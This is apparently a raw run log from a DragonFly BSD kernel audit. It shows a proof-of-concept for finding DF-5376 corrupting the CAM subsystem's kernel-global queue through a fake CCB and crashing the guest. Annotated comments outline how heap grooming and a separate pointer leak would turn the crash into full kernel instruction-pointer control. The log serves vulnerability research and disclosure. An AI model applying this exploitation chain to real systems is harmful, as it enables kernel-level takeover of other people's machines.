⬢ DragonFlyBSD Kernel Audit
DF-5376 / run.b.log
← back to finding ↓ download raw
# DF-5376 mode B (RIP-control / kernel-queue-corruption run; guest dies)
root@dfbsd# ./poc5376 b
[+] DF-5376 mode b: target mode enabled on bus 2
[*] fake CCB armed: index=1 cbfcnp=0x414141414140; expect SWI camisr_runqueue -> cbfcnp call NOW
[*] write() returned 8; SWI should call 0x414141414140 within milliseconds...
(serial console:)
Fatal trap 12: page fault while in kernel mode
cpuid = 3; lapic id = 3
fault virtual address  = 0x8004a1248
fault code              = supervisor write data, page not present
instruction pointer     = 0x8:0xffffffff802b0169
current process         = Idle
kernel: type 12 trap, code=2
Stopped at      swi_cambio+0x59:        movq    %rdx,0x48(%rax)

# Interpretation:
# 0x8004a1200 is the fake struct cam_sim inside the daemon's mmap page.
# During write() (process context) xpt_action(XPT_ABORT) executed branch 1:
#   cam_ccbq_remove_ccb() heap surgery on the fake camq,
#   status write, xpt_freeze_devq(fake) qfrozen_cnt++,
#   xpt_done(fake) -> TAILQ_INSERT_TAIL(&cam_simq, fake_sim, links)
#   (KERNEL-GLOBAL cam_simq now points into attacker-chosen memory)
#   -> setsoftcambio().
# The cambio SWI then woke in kernel-thread context and began walking the
# corrupted cam_simq (swi_cambio+0x59 writing through fake_sim->links),
# faulting only because DF kernel threads run without the user pmap
# mapped. With the fake tree placed in kernel-addressable memory (e.g.
# inside the kernel CCB payload that targusermerge() copyin()s verbatim
# from the daemon, heap-groomed; kernel pointers leakable via the
# DF-2286 cbfcnp/path copyout class), camisr_runqueue() reaches
#   (*ccb_h->cbfcnp)(ccb_h->path->periph, ccb)
# = call of 0x414141414140 -> full kernel RIP control.